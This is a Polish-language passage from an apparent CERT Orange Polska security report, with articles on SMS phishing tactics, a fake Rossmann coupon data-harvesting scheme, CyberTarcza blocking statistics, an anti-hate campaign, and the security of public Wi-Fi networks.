Strona podszywająca się pod mBank

Schemat działania fałszywej strony płatności 
(na zielono – żądania, na pomarańczowo – prawdziwe 
odpowiedzi, na fioletowo – fałszywe odpowiedzi, 
„OZ” – odbiorca zaufany)

Strona podszywająca się pod iPKO.

Sprzymierzeńcy oszustów

Popularność phishingu SMS spowodowana jest 
m.in. wysoką skutecznością, na którą wpływają czynniki 
techniczne, socjotechniczne i psychologiczne.

Balast historyczny
W latach 70. i 80. XX wieku, gdy powstawały 
protokoły, na których opiera się usługa SMS, nie 
przykładano tak dużej wagi – jak obecnie – do problemów 
bezpieczeństwa. Związane było to m.in. z wzajemnym 
zaufaniem, jakim cieszyli się użytkownicy sieci. 
Opracowane wtedy standardy nie przewidywały więc 
m.in. sprawdzania nadawcy. Zawartość pola „Sender” 
ustalana jest przez nadawcę i przenoszona przez sieć 
bez weryfikacji. Gdybyśmy dziś chcieli wymienić protokoły 
na bezpieczniejsze, zmiany odcięłyby od usługi 
większość starych urządzeń, a nawet uniemożliwiłyby 
wymianę wiadomości z klientami tych operatorów 
(np. zagranicznych), którzy by takich zmian nie 
wdrożyli. Problem braku weryfikacji nadawcy 
może pozostać z usługą SMS aż do jej końca 
w obecnej formie. 

Wątkowanie wiadomości
Dla wygody użytkownika telefony grupują SMS-y od tego 
samego nadawcy w jedną konwersację. Jeśli oszust 
podszyje się pod nadawcę, z którym klient już  
korespondował, wiadomość zostanie dołączona jako 
kolejna w rozmowie. Zachowanie to podnosi wiarygodność 
SMS-a phishingowego w oczach potencjalnej ofiary. 

Rozmiary ekranu
Ekrany telefonów mają niewielkie rozmiary, co utrudnia 
dostrzeżenie szczegółów. Często stosowaną metodą 
jest używanie w adresie strony wyglądających podobnie 
znaków. Na ekranie telefonu „www.0range.pI” (pisane 
przez cyfrę 0 i wielkie „i” na końcu) wygląda prawie 
jak „www.Orange.pl”. 

Upowszechnienie się darmowych 
certyfikatów SSL
Dzięki darmowym, automatycznie wystawianym 
certyfikatom SSL (często oferowanym w ramach 
hostingu) oszuści z łatwością mogą zapewnić na swojej 
stronie obecność „zielonej kłódki” i uwiarygodnić stronę 
w oczach mniej świadomego klienta.

Poczucie strachu
Komunikaty oszustów mają wywołać u odbiorców 
poczucie, że w przypadku braku reakcji poniosą oni 
stratę: zostaną odcięci od telefonu, będą musieli 
płacić wysoki abonament albo odwiedzi ich komornik. 
Towarzyszące temu emocje ograniczają zdolność 
do racjonalnej oceny sytuacji. 

Presja czasu
Znaczna część osób reaguje niezwłocznie na 
powiadomienie o otrzymanej wiadomości SMS, 
odrywając się od aktualnych zajęć. Dodatkowo treść 
samej wiadomości często sugeruje, że decyzja musi 

być podjęta bardzo szybko. Przestępcy wykorzystują 
element zaskoczenia, co podnosi skuteczność ataku.

Szum informacyjny
Metoda polega na „podpinaniu” się pod informacje 
krążące w mediach lub będące na czasie (jak 
w przypadku złośliwej aplikacji kurierskiej albo 
potwierdzania rozliczenia PIT).

Podsumowanie

Kampanie oszustów stają się coraz bardziej dopra-
cowane, przez co trudno się przed nimi obronić w 100%. 
Na pewno pomoże nam w tym ogólna ostrożność, brak 
pośpiechu, uważne czytanie wiadomości, upewnianie się, 
czy swoje dane wprowadzamy na właściwej stronie oraz 
sprawdzanie jaką dokładnie transakcję akurat 
potwierdzamy w banku. Klientów Orange chroni także 
CyberTarcza, która w samym tylko 2019 roku zablokowała 
połączenia ze stronami oszustów aż 11,5 miliona razy.

Michał Łopacki 
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Sprzedajemy prywatność 
za miraż wygranej 
(case study)
Zastanawialiście się kiedyś, skąd telemarketerzy różnych 
dziwnych firm dysponują Waszymi danymi? Dlaczego 
dzwonią na prywatne numery telefonów, wysyłają maile 
z niepotrzebnymi informacjami, a pytani o to, skąd mają 
Wasze dane, wymieniają nazwę istniejącej firmy? Może 
dlatego, że kiedyś połasiliście się na darmowe „Bony 
do [tu wstaw nazwę sklepu]”...

Co wpadło do Sieci, zostaje na zawsze

Coraz częściej  słyszymy ostrzeżenia o tym, by nie 
przekazywać informacji o nas na lewo i prawo, że w sieci nic 
nie ginie, że niemal każdy bit danych może być wykorzystany 
wbrew naszej woli. Internauci stają się coraz bardziej 
świadomi, co nie zmienia faktu, że te dane, które już znalazły 
się w sieci, niestety tam zostaną. Któż z nas nigdy nie wpisał 
swojego adresu e-mail na jakiejś dziwnej stronie? A potem 
to już tylko rola jednego z niezliczonych crawlerów, 
przeszukujących sieć pod kątem takich właśnie znalezisk. 
Cóż, skoro sami zostawiliśmy, to kto zabroni automatom 
znajdować... Polecam zapytanie każdego dzwoniącego 
do Was telemarketera i nadawcy niezamawianego 
marketingowego maila, skąd wzięli dane. My nasz adres 
cert.opl@orange.com rozsiewamy po sieci z premedytacją, 
właśnie po to, by służył też jako honeypot. Właśnie dlatego 
trafiła do nas wiadomość e-mail, w której kupony do sieci 
Rossmann zaproponowano... naszemu CERT-owi.

Do witryny z kuponami przekierowywało w pewnym 
momencie nawet kilkadziesiąt domen, zawierających 
różne konfiguracje słowa Rossmann (z literówkami) oraz 
ankieta/ankiety/ankietki, itp. Co ciekawe, przez krótki czas 
po rejestracji, domeny odsyłały na strony o agresywnej treści 
seksualnej, by po publikacji pierwszej wersji tego artykułu 
przez CERT Orange Polska przełączać użytkownika na 
główne witryny firm hostujących. Obecnie domeny biorące 
udział w opisywanej kampanii nie są powiązane z żadną 
stroną, większość ich zachowuje jednak status aktywnych.

Niemal wszystkie witryny rejestrowane były w jednym miejscu, 
przy użyciu danych istniejących firm. Właścicielem jednej z nich 
miał być znany m.in. z filmów Wojciecha Smarzowskiego, 
aktor Arkadiusz Jakubik. Tak właśnie wygląda klasyczny 
przykład kradzieży tożsamości, czego nie zdołała zweryfiko-
wać firma, rejestrująca domeny. W korespondencji mailowej 
aktor stanowczo bowiem zaprzeczył, by rejestrował domenę 
rossmaann-ankietaa.eu. 

Wygrałem kupon? Czy tylko mam szansę?

Witryną docelową była hxxps://rossm.gift-cards.co.pl/  
(w momencie przygotowywania artykułu już nieaktywna w sieci). 
W momencie pisania tego artykułu tego typu aktywność 
znajdowaliśmy też na hxxps://www.bon-kosmetyczny.com.pl/, 
hxxps://twojebony.com.pl (i pewnie jeszcze kilku/wielu 
innych, na które nie trafiliśmy). Żadna z witryn nie zawierała 
w momencie badania złośliwego kodu, a to dlatego, że nie 
infekcja malwarem jest celem ich autora. Otóż po wybraniu 
naszej płci i wieku, kwalifikowaliśmy się już do nagrody, 
a ostatnim etapem przed jej uzyskaniem jest wpisanie 
naszego imienia i adresu e-mail. Oczywiście w treści nie 
ma mowy o zwycięstwie, a jedynie o tym, że... mamy szansę 
wygrać kupon.

Co bardziej ciekawscy, przyjrzawszy się dokładnie treści 
witryny, znajdowali na dole bardzo ciekawe informacje:

• tym, że firma Rossmann nie sponsoruje ani nie jest  
w żaden sposób powiązana z serwisem;

• administratorze danych, którym ma być firma  
M-Line sp. z o.o., niepowiązana z firmą Rossmann,  
z adresem, numerem KRS i wszystkimi oficjalnymi 
danymi.

No i na koniec, jeśli komuś chciało się kliknąć we wszystkie 
„więcej”, rozsiane szeroko po całym dole witryny, musi 
odklikać osiem (!) zgód marketingowych na przetwarzanie 
i udostępnianie swoich danych oraz ich automatyczne 
profilowanie, no i oczywiście na otrzymywanie informacji 
marketingowych. A wszystko to okraszone w prawym górnym 
rogu, zgodnie z najlepszymi zasadami manipulacji (reguła 
niedostępności Cialdiniego) wielkim zegarem, odmierzającym 
czas, po którym stracimy naszą wyjątkową okazję! Okazję, 
która po przeczytaniu regulaminu okazuje się być nagrodą 
dla osoby, która... najszybciej wypełni pola formularza.

Firma kusi, my oddajemy

Publikując pierwszą wersję tego tekstu na stronie 
CERT Orange Polska chcieliśmy całą historię opisać 
jako tradycyjne ostrzeżenie przed spamową kampanią 
przestępców. Po dokładnym przyjrzeniu się treści strony 
widać jednak, że nie mamy tu do czynienia z phishingiem 
per se. Nikt nie wyłudza naszych danych, nie każe się 
nigdzie logować, nie podsuwa nam witryn, podszywających 
się pod operatorów mobilnych płatności. Choć tu również 
mamy do czynienia z działalnością wymagającą równie 
wielkiego sprytu i tupetu, fakt, iż za iluzoryczną obietnicę 
wygranej oddajemy nie mające wcale mniejszej 
wartości (!) – adres e-mail, imię i nazwisko, adres 
zamieszkania, datę urodzenia, płeć, numer telefonu 

Fragment maila phishingowego podszywającego 
się pod sieć Rossmann

komórkowego, domenę wejścia do serwisu, adres IP, 
z którego wchodzimy na stronę. To dane, które 
dla wielu firm mogą okazać się bardzo wartościowe.  
I zapewne fakt, że to wszystko dzieje się niejako 
w tle, sprawia, że w zasadzie nie zauważamy naszej 
niefrasobliwości.

Tu nikt nie próbuje niczego ukrywać. Organizator „loterii” 
naprawdę istnieje. Wśród kilkudziesięciu kodów PKD, 
dotyczących jej działalności, znajdziemy sporą liczbę 
związanych z budownictwem, ale też z turystyką, ochroną, 
detektywistyką, telekomunikacją, ubezpieczeniami, 
funduszami emerytalnymi, sprzątaniem, PR, HR 
i – tu najbardziej nas interesująca – pośrednictwem 
w sprzedaży miejsca na cele reklamowe. Brzmi jak 
ogólnoświatowa korporacja, z siedzibą w szklanym 
biurowcu, a nie – jak wykazuje szybka kwerenda 
w mapach Google - w domku jednorodzinnym w małej 
miejscowości pod Wrocławiem. Kolejne wyszukiwanie 
pomaga znaleźć szereg opinii pełnych oburzenia, 
iż nieznana firma dysponuje ich danymi osobowymi. 

Regulaminy, do których prowadzą pojedyncze, opisane 
drobnym drukiem linki, szczegółowo precyzują jakie 
dane przekazujemy operatorowi usługi, a także informują 
nas o dobrowolności oraz udzieleniu zgody na ich 
przetwarzanie i przekazywanie do listy kilkunastu 
podmiotów „zewnętrznych”. Wśród nich znajdziemy 
zarówno duże ogólnopolskie firmy, jak i szereg małych, 
które można określić mianem hurtowni danych. 
O ile w przypadku rynkowych tuzów można założyć, 
iż M-Line jest dla nich jednym z szeregu anonimowych 
podwykonawców, od których kupują „leady” sprzedażowe, 
w przypadku mniejszych w anonimowość ciężko 
uwierzyć. Część z podmiotów, wymienianych w regulaminie, 
należy do – hmm, „holdingu”, grupy medialnej 
opisującego siebie jako „właściciela jednej z największych 
baz danych na polskim rynku”.

Trzej przyjaciele z...?

Analizując kampanie „na kupony” znajdujemy w niej jedno 
powtarzające się nazwisko. To osoba stojąca zarówno 
za spółką M-Line (wg. informacji w KRS), jak i przynajmniej  
za jednym z beneficjentów podobnej kampanii z 2018 roku,  
spółką zarejestrowaną w Wielkiej Brytanii. Jedyną 
możliwością kontaktu z M-line jest widniejący na stronie 
www formularz, ten jednak wysłanie informacji warunkuje 
zaznaczeniem checkboxów ze zgodą na otrzymywanie 
informacji marketingowych! Z jednej strony niewiarygodny 
tupet, ale z drugiej nie sposób odmówić rzutkiemu 
biznesmenowi konsekwencji w działaniu, prawda?

Tę samą osobę znajdujemy też w danych w KRS 
dotyczących spółki Neobiznes sp. z o.o. Do 5 listopada 
był jej wyłącznym właścicielem, sprzedając ją następnie 
firmie Neocraft. Nowy właściciel zmienił nazwę firmy 
na B2B Leadon, powierzając jej prowadzenie członkom 
własnego zarządu. Z Neocraftem związane jest jeszcze 
kilka innych spółek, będących również – według zapisów 
przytaczanego regulaminu – beneficjentami konkursu 
o kupony Rossmanna... Trzech panów łączą jeszcze 

przynajmniej dwie kwestie – miasto (Wrocław) 
i rok urodzenia (1983). Czyżby przełożona na biznes 
przyjaźń z czasów szkolnych albo studenckich? 

Blokujemy, co możemy, 
a o reszcie ostrzegamy

Zapytana o tego typu „konkursy” Agata Nowakowska, 
rzeczniczka prasowa Rossmann Polska, poprzestała 
na stanowczym podkreśleniu, iż opisywane aktywności 
dzieją się bez zgody i świadomości firmy Rossmann. 
Firma nie udzielała nikomu zgód na używanie nazwy 
i logo, a organizowane przez nią akcje promocyjne 
prezentowane są wyłącznie w sklepach, gazetkach 
promocyjnych, magazynie „Skarb” oraz na stronie 
internetowej firmy, w aplikacji mobilnej, a także na 
profilach w mediach społecznościowych. Na pewno 
nie są wysyłane drogą e-mailową.

O ile strony prowadzące do „konkursów” (które nie bez 
przyczyny od początku bierzemy w cudzysłów) możemy 
blokować przy użyciu CyberTarczy, co regularnie robimy, 
z witrynami końcowymi internauci muszą radzić sobie sami. 
Według regulaminu serwisów bony przecież faktycznie 
istnieją, a treść na stronach sformułowana jest tak 
przemyślnie, że nigdzie nie znajdziemy gwarancji bonu 
za samo wypełnienie ankiety. Być może w regulaminach 
dałoby się znaleźć klauzule niedozwolone (choćby to, 
że do przeczytania regulaminu musimy wejść na stronę, 
a już wchodząc na nią, udostępniamy twórcom szereg 
danych, o czym jeszcze wtedy nie wiemy), ale to zadanie 
dla prawników. Z punktu widzenia CERT-u mamy 
do czynienia z legalnie zarejestrowaną firmą, działającą 
zgodnie ze swoim profilem przedsiębiorcy i przypisanymi 
do siebie kodami PKD. Naszym celem w takiej sytuacji jest 
przede wszystkim uświadomienie internautów, nie tylko 
klientów usług Orange Polska, co tracą, wchodząc na tego 
typu strony. I zadać sobie samemu pytanie, jak czują się 
firmy, które w ten sposób pozyskują dane marketingowe 
i jak to się ma do szeroko pojętej etyki. 

Na koniec ciekawostka. Wspominałem na początku 
o działających w momencie powstawania tego tekstu 
stron z „konkursami”. Gdy przyjrzymy się wpisom Whois 
dla obu z nich, o ile formalnym właścicielem obu jest 
firma M-Line, to podany numer telefonu nie ma 
z podwrocławską firmą nic wspólnego. Kolejne wyszukanie 
w Google wskazuje, że jego właścicielem jest osoba 
prywatna, prezes... Zarządu Ochotniczej Straży Pożarnej 
w jednej z miejscowości na południu Polski. 
Poinformowany przez nas wyraził głębokie zdziwienie, 
by po chwili rozmowy poprosić o szczegółowe informacje, 
zapowiadając podjęcie kroków prawnych. 

Trzymamy kciuki.

Michał Rosiak
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Od kilku lat w polskim internecie mamy CyberTarczę. 
Dodanie do sieci Orange Polska nowej funkcjonalności 
w aspekcie bezpieczeństwa (a po części ujęcie w normy 
wielu naszych codziennych aktywności) początkowo 
wzbudzało nieco kontrowersji. Wpisując w wyszukiwarkach 
„CyberTarcza”, w pierwszych podpowiedziach widzieliśmy 
pytania „Jak usunąć?”. W ciągu 30 miesięcy od jej wprowa-
dzenia zmieniło się sporo, CyberTarcza wrosła na stałe 
w realia polskiego internetu. 

A jak wyglądała jej aktywność w ubiegłym roku, 
w odniesieniu do 2018 r.?

Kluczową statystyką CyberTarczy jest liczba unikalnych 
adresów IP, w odniesieniu do których odnotowaliśmy próby 
połączenia z rozpoznaną złośliwą infrastrukturą. 
Tę statystykę analizujemy w cyklach tygodniowych, 
teoretycznie więc co bardziej „oporni” użytkownicy w skali 
roku mogą odnotować się w niej nawet 52-krotnie. Rok 
do roku odnotowaliśmy tu minimalną zmianę, rejestrując 
2 mln 680 tys. przypadków, łącznie dla usług stacjo-
narnych i mobilnych.

Powyższa liczba (i fakt, iż praktycznie nie uległa zmianie 
w stosunku do 2018 roku) może intrygować w odniesieniu 
do poziomu zainfekowania obu sieci. Ten współczynnik (mie-
rzony na części sieci stacjonarnej i mobilnej) w porównaniu 

do 2018 roku uległ bowiem istotnym zmianom. 
Dla klientów stacjonarnych w 2018 wynosił 2,04%, 
by rok później spaść do 1,47%. Jeśli chodzi o infekcje 
mobilne natomiast, zanotowaliśmy niemal dwukrotny 
wzrost – z 0,077% do 0,14%. To oczywisty dowód zarówno 
na znaczący wzrost zainteresowania przestępców 
użytkownikami urządzeń mobilnych. Dowodzą temu 
też statystyki konkretnych infekcji i dane jakościowe, 
wskazujące istotny skok w liczbie kampanii phishingowych, 
docierających na nasze smartfony. A jak to odnieść 
do podobnej liczby infekcji? Czyżby miało to dowodzić, 
że z roku na roku mówimy o podobnej grupie zainfekowanych 
użytkowników, z niewielkimi zmianami?

Spektakularnie wyglądają za to liczby związane 
z zagrożeniami phishingowymi. W 2019 roku zanotowa-
liśmy niemal 11,5 mln prób odwołań do zablokowanych, 
potwierdzonych stron phishingowych. W tej kategorii 
jednak, mimo zalewu stron w profilu „sensacyjne newsy”, 
w 2020 r. należy spodziewać się istotnego spadku. 
To dlatego, iż w 4. kwartale szczegółowo przeanalizowaliśmy 
blokowane witryny i zdecydowaliśmy się usunąć 
część z nich, nie niosących bezpośredniego ryzyka
dla internautów. Podsumowanie roku robi jednak 
imponujące wrażenie. Dodaliśmy 10855 phishingowych 
witryn przy 817 usuniętych, co oznacza przeszło 
10 tys. netto zablokowanych potencjalnych zagrożeń. 

CyberTarcza: niewidoczna, ale skuteczna

Komunikacja z C&C  Stop Phishing

43
21

7

22
36

0 60
23

2 11
21

10

26
10

82

20
62

33

17
24

40 23
63

60

19
15

76

32
15

94

14
05

81

15
45

3

36
83

4

28
78

1

37
72

8

45
46

1

65
85

3

25
96

8

29
15

6

32
19

8

39
47

3

45
72

2

49
32

9

12
42

49
Liczba unikalnych klientów ochronionych 
przed zagrożeniami

Dobowy rozkład liczby klientów, u których zadziałała CyberTarcza (dane za okres 01.07.2019-31.12.2019). 
Większość incydentów związanych z phishingiem ma miejsce w godzinach wieczornych

30 zablokowanych przez CyberTarczę domen z największą liczbą odwiedzających klientów
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Natężenie skanowania sieci Orange w podziale na źródła (dane za okres 01.07.20119-31.12.2019). Oprócz 
tradycyjnych kierunków, takich jak Chiny i Rosja, obserwowana jest znacząca liczba skanów z infrastruktury 
chmurowej zlokalizowanej m.in. w Stanach Zjednoczonych

Natężenie skanowania sieci Orange w podziale na źródłowy BGP AS (dane za okres 
01.07.20119-31.12.2019). Większość skanów przeprowadzana jest z wykorzystaniem infrastruktury 
publicznej

Liczba klientów, u których zostały zablokowane próby wejścia na strony phishingowe w podziale 
na najpopularniejsze kategorie. Dane za okres 01.01.2019-31.12.2019
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Co zrobić, by internet był nie tylko bezpiecznym, 
ale także przyjaznym miejscem?

Kiedy w Fundacji Orange zastanawialiśmy się, jaki 
ważny problem społeczny należy poruszyć w kampanii 
społecznej, z pomocą przyszły nam badania EU Kids 
online. Przeprowadził je zespół pod kierunkiem prof. 
Jacka Pyżalskiego (UAM w Poznaniu) w partnerstwie 
z nami. Okazało się, że zaledwie 5,9% młodzieży 
potwierdza, że ma za sobą aktywny hejt. Większość 
internautów pozostaje neutralna lub nie chce mowy 
nienawiści w sieci. Uznaliśmy to za ciekawy punkt 
wyjścia: przecież lektura komentarzy na pierwszym 
lepszym portalu czy grupie na Facebooku każe sądzić, 
że te proporcje są zupełnie inne.

Tak powstało hasło kampanii: #jestnaswiecej. Więcej 
jest nas – tych, którzy chcą pozytywnych kontaktów 
w sieci i są sympatyczni. Może zbyt rzadko zabierają głos, 
lub widząc hejt po prostu zamykają zakładkę przeglądarki. 
Do tego dodaliśmy symbol kampanii: pomarańczową 

sznurówkę. Chcieliśmy, by jeden odróżniający się 
but stał się symbolem sprzeciwu wobec hejtu oraz 
solidarności z jego ofiarami. 

Start kampanii
Start kampanii poprzedziliśmy sondą z pytaniem 
„czy popierasz hejt w sieci” – 95% internautów kliknęło 
„nie”, zgodnie z naszymi przewidywaniami. Dokładnie 
w pierwszy dzień wiosny 2019 r., kiedy zimowe buty są już 
schowane, uruchomiliśmy kampanię. Zainaugurowali ją
w sieci Tomson i Baron, znani z zespołu Afromental oraz 
z Voice of Poland. Ponieważ kampania jest skierowana 
do młodzieży w wieku 13-19 lat, skupiliśmy się na mediach 
społecznościowych i influencerach. Specjalny odcinek 
nagrali też Nieprzygotowani: Nowe Pokolenie – popularny 
wśród młodzieży serial na YouTube – (1,2mln subskrypcji). 

Jak radzić sobie z hejtem? 
Uruchomiliśmy stronę jestnaswiecej.pl, która zawiera 
porady o tym, jak sobie radzić z hejtem – przeznaczone 

#jestnaswiecej – kampania Fundacji Orange 
przeciwko hejtowi.

zarówno dla ofiar, świadków, jak i tych, którzy sami 
mają na swoim koncie nienawistne komentarze. Główna 
część jest skierowana do młodzieży, ale przygotowaliśmy 
też krótki poradnik dla rodziców i nauczycieli. Treści 
na stronie zostały starannie przygotowane we współpracy 
z ekspertami z Fundacji Dajemy Dzieciom Siłę, która 
jest partnerem kampanii. To organizacja o największym 
w Polsce doświadczeniu w tym obszarze: od 12 lat 
prowadzi m.in. telefon zaufania dla dzieci i młodzieży 
116 111. Organizuje też wiele programów przeciwdzia-
łania złym zjawiskom w sieci. 

Nauczyciele i szkoły 
W programach edukacyjnych Fundacji Orange staramy się 
odpowiadać na realne potrzeby, proponując systemowe, 
a nie jednostkowe rozwiązania. Nieocenioną wartość ma 
współpraca ze szkołami i nauczycielami, dlatego zapra-
szamy ich do współpracy. Na stronie fundacja.orange.pl 
publikujemy scenariusz zajęć dotyczących hejtu 
przygotowany przez ekspertów. Zachęcamy nauczycieli 
do korzystania z niego oraz do zamówienia bezpłatnego 
pakietu sznurówek. Każda szkoła, świetlica, placówka 
opiekuńcza, drużyna harcerska czy dowolna grupa 
młodzieży może otrzymać taki pakiet pod warunkiem 
odbycia zajęć. Niemalejąca popularność pakietów, które 
od startu kampanii są regularnie zamawiane, pokazuje jak 
potrzebne są takie działania. Nasze oczekiwania przerosła 
też skala aktywności młodzieży w sieci: na Instagramie 
mamy obecnie ponad 1000 postów oznaczonych 
#jestnaswiecej, wrzucanych często po lekcjach. 
To wszystko dobrowolna działalność młodzieży. 

Festiwale i eventy 
O ile promocja akcji w szkołach świetnie działała 
na wiosnę, o tyle w czasie wakacji najlepiej sprawdzały 
się masowe imprezy sponsorowane przez Orange 
Polska: Orange Warsaw Festival, Open’er Festival 
powered by Orange i Kraków Live Festival. Na każdym 
z nich wolontariusze opowiadali o akcji i rozdawali 
sznurówki, a strefa Orange była miejscem, w którym 
można było poznać ideę akcji i wpleść sznurówkę w swój 
but. Byliśmy też na Digital Youth Forum – inspiracyjnym 
spotkaniu dla młodzieży, gdzie ogłosiliśmy konkurs 
na najbardziej kreatywne zdjęcie z #jestnaswiecej 
na Instagramie. Efekty – zobaczcie sami! 

Efekty
Najważniejsze są te efekty, które pozostają niepoliczone 
– czyli każda osoba, która zmieni swoje nastawienie do 
hejtu, wstawi się za kimś słabszym w sieci czy wyłączy 
przeglądarkę zamiast odpowiadać pięknym za nadobne. 
Mamy jednak też liczby, które mówią o skali akcji. 

• 170 000 rozdysponowanych sznurówek  
(do momentu oddania tekstu)

• 1200 zamówionych pakietów sznurówek 
• 1000+ publikacji medialnych o #jestnaswiecej  

w 2019
• 1000+ postów na Instagramie oznaczonych  

przez młodzież #jestnaswiecej

Ciąg dalszy
Mamy świadomość, że nawet najlepsza jednorazowa 
kampania nie rozwiąże trwale problemu związanego 
z relacjami w sieci. W chwili pisania tego tekstu już 1200 
grup skorzystało z zajęć o hejcie i dostało od nas 
pakiety sznurówek. To dużo, ale to tylko część możliwości. 
Przygotowujemy kolejne odsłony #jestnaswiecej. 
Mamy nadzieję, że pomarańczowa sznurówka będzie 
hitem mody młodzieżowej w 2020 roku!
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Bezpieczeństwo sieci 
bezprzewodowych 
w przestrzeni publicznej

Początki wardrivingu sięgają czasów nowego mille-
nium, jednak z uwagi na dynamiczny rozwój technologii 
bezprzewodowego dostępu do internetu, temat ten 
cały czas pozostaje wartki mimo, że samo jeżdżenie 
po mieście w poszukiwaniu otwartych lub słabo 
zabezpieczonych access pointów odchodzi do lamusa. 

Publiczne sieci Wi-Fi są obecnie bardzo popularnym 
rozwiązaniem. Możemy korzystać z nich w większości 
sieciowych kawiarni i restauracji szybkiej obsługi, 
butikach, kinach, galeriach handlowych, dworcach 
kolejowych i środkach komunikacji miejskiej. Coraz 
częściej samorządy decydują się na montaż hotspotów 
w sąsiedztwie urzędów dzielnic, zabytków, a nawet 
w parkach. Daje to, co prawda, wygodę darmowego dostępu 
do informacji, jednak rodzi także pytanie o bezpieczeństwo 
użytkowników takich narzędzi. Czy dane, na których 
pracują mogą zostać przechwycone? Czy inni użytkownicy 
sieci mogą widzieć co robię i na ile istnieje rozliczalność 
dostępu do tych sieci?

Przeprowadzone przeze mnie badanie miało 
na celu ocenę stanu bezpieczeństwa sieci 
bezprzewodowych w przestrzeni publicznej 
stolicy europejskiego państwa.

Rozliczalność dostępu

Wszystkie badane sieci informowały o sukcesie 
podłączenia za pomocą captive portali z jednoczesną 
prośbą o potwierdzenie regulaminu przed uzyskaniem 
dostępu. W czterech na dziesięć przypadków, 
użytkownik proszony był o podanie adresu email, 

choć żadna weryfikacja za jego pośrednictwem 
nie następowała, ot pozyskanie adresu do celów 
marketingowych. W jednym przypadku użytkownik 
proszony był także o podanie imienia.

Sieć gościnna pewnego banku oferowała darmowy 
dostęp Wi-Fi po podaniu loginu i hasła. Sposób 
ich pozyskania nie był jednak określony, a sam portal 
nie miał otwartej rejestracji. Pozostaje mi mieć nadzieję, 
że nie chodziło o te same dane, z których ich klienci 
korzystają, uwierzytelniając się w portalu transakcyjnym.

Oczywiście, osiągnięcie rozliczalności dostępu jest 
trudne do uzyskania w takich warunkach. Trudne, 
lecz nie niemożliwe. Kilka lat temu, ratusz jednej 
z lewobrzeżnych dzielnic Warszawy oddał do użytku 
mieszkańców kilkadziesiąt punktów dostępowych 
darmowej sieci. Aby móc z niej korzystać, należało 
zgłosić się do urzędu dzielnicy, by po wylegitymowaniu 
uzyskać swój personalny login i hasło. Niestety 
w lutym 2018 roku zrezygnowano z tego rozwiązania 
– jak często ma to miejsce, wygoda użytkowania 
może zostać przedłożona nad bezpieczeństwo.

Rozwiązywanie domen

Z obserwacji wynika, że w kwestii wykorzystywanych 
serwerów DNS panuje całkowita dowolność. W wielu 
przypadkach skorzystano z rozwiązania dnsmasq, 
ale zdarzały się sytuacje użycia serwerów Google, 
Netia, a także Orange.

Co ciekawe, w pewnej galerii handlowej, gdzie cała 
infrastruktura oparta była o te same rozwiązania 
jednego producenta, okazało się, że poszczególne 
sieci posiadają całkowicie różne konfiguracje serwerów 
DNS. Rozwiązaniem, za którym optuję, jest lokalne 
ustawienie zaufanych serwerów, na „sztywno”. 
Zabezpieczy to przed problemami w razie zainfekowania 
urządzeń dostępowych, jak również innymi, które
mogą dotykać dostawców rozwiązań DNS.

Sami w przestrzeni

Zdecydowanie nie. Tylko w dwóch przypadkach na 
dziesięć router posiadał właściwie skonfigurowaną izolację 
klientów. W pozostałych ośmiu, szczytowym osiągnięciem 
okazywał się bardzo podstawowo skonfigurowany filtr, 
wycinający pakiety ICMP, co realnie niczego nie zmieniało. 
Samą enumerację przyłączonych do urządzenia klientów 
można zrealizować na różne sposoby, a dodatkowo 
zdarzało się, że router udostępniał taką listę w panelu 
administracyjnym. Bez konieczności uwierzytelnienia.

Warto nadmienić, że w przypadku ruchu w sieci 
lokalnej, prawie nigdy nie spotkałem się z firewallem 
skonfigurowanym tak, by blokował określone protokoły. 
Nieco odmiennie wygląda to w przypadku ruchu do WAN. 
Tutaj w dwóch na dziesięć przypadków przepuszczany 
był jedynie ruch HTTP/HTTPS oraz DNS.

Nie zmienia to jednak faktu, że w większości otwartych 
sieci istnieje realne ryzyko przechwytywania transmisji 
przez osoby nieupoważnione, jak również przeprowa-
dzanie innych ataków na urządzenia przyłączonych 
klientów.

Pozostałe sieci

W trakcie badań wykryto także dziesiątki tysięcy 
urządzeń prywatnych, z czego większość ma sensowną 
ochronę kryptograficzną. Zgodnie z przewidywaniami 
standard WEP przestał istnieć – był używany jedynie 
w 96 punktach dostępowych, co stanowiło mniej niż 
0,23% wszystkich wykryć. Wspomnę, że standard 
WPS wspierały 20678 routerów.

Statystyki pokazują również, że najpopularniejsze 
rozwiązanie bazuje na podzespołach od Compal 
Broadband Networks z ilością 7728 routerów, 
a w dalszej kolejności, pierwszą piątkę zamykają: 
ARRIS (4538), Technicolor (2364), Sagemcom 
(1976) oraz Cisco Systems (1697).
Warto zauważyć, że nazwy niektórych sieci 
sugerowały, z urządzeniem którego producenta 

i w jakiej wersji mamy do czynienia. Ujawnianie 
tych informacji jest oczywiście naruszeniem 
bezpieczeństwa, tym bardziej, że te które znalazłem, 
sugerowały posiadanie podatności (m.in rodzina 
TP-Link DWR).

Co robić, jak żyć?

Wracając jednak do kwestii sieci publicznych, warto 
zauważyć, że bardzo wiele w kwestii bezpieczeństwa 
może zrobić sam użytkownik.

Najlepszym sposobem będzie oczywiście skorzysta-
nie z szyfrowanej transmisji, jaką zapewni tunel VPN. 
Dodając do tego wyłączenie zapamiętywania sieci 
(żeby urządzenie nie próbowało nawiązywać 
połączenia bez naszej wiedzy, kiedy znajdzie się 
w zasięgu access pointa), czy nieudostępnianie zasobów 
naszego komputera (ochrona przed kradzieżą danych, 
infekcją malware, lub nadużyciem podatności systemu 
operacyjnego) uzyskujemy całkiem solidne podstawy 
bezpieczeństwa.

Użytkownik powinien świadomie przeglądać witryny, 
korzystając z ich zabezpieczonej kryptograficznie 
instancji, czyli https. Ci mniej czujni zawsze mogą 
skorzystać z wtyczek do przeglądarek typu HTTPS 
Everywhere lub pokrewnych. Nigdy nie zaszkodzi także 
posiadanie uruchomionego lokalnie oprogramowania 
typu firewall. Absolutną podstawą jest instalowanie 
na bieżąco aktualizacji oprogramowania, 
a w szczególności poprawek bezpieczeństwa.

Konkluzja

Ilość darmowych, publicznie dostępnych sieci 
Wi-Fi wzrosła w ostatnich latach i nic nie zapowiada, 
żeby w ciągu najbliższych lat stan ten miał ulec zmianie. 
Niestety poziom ich zabezpieczeń nie idzie w parze 
z samą ilością, przerzucając odpowiedzialność na 
użytkowników. Kluczową rolę w tej sytuacji mogą 
odegrać wszelkie kampanie uświadamiające 
adresowane do mniej świadomych użytkowników 
internetu. Alternatywą zawsze pozostanie korzystanie 
z technologii internetu mobilnego oferowanego 
przez wielu operatorów telekomunikacyjnych.

Kamil Uptas
 

Artykuły ekspertów CERT Orange Polska

Portal logowania do bezprzewodowej 
sieci Wi-Fi jednego z banków

Publiczne sieci Wi-Fi przedstawione na mapie miasta
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Nie daj się nabrać 
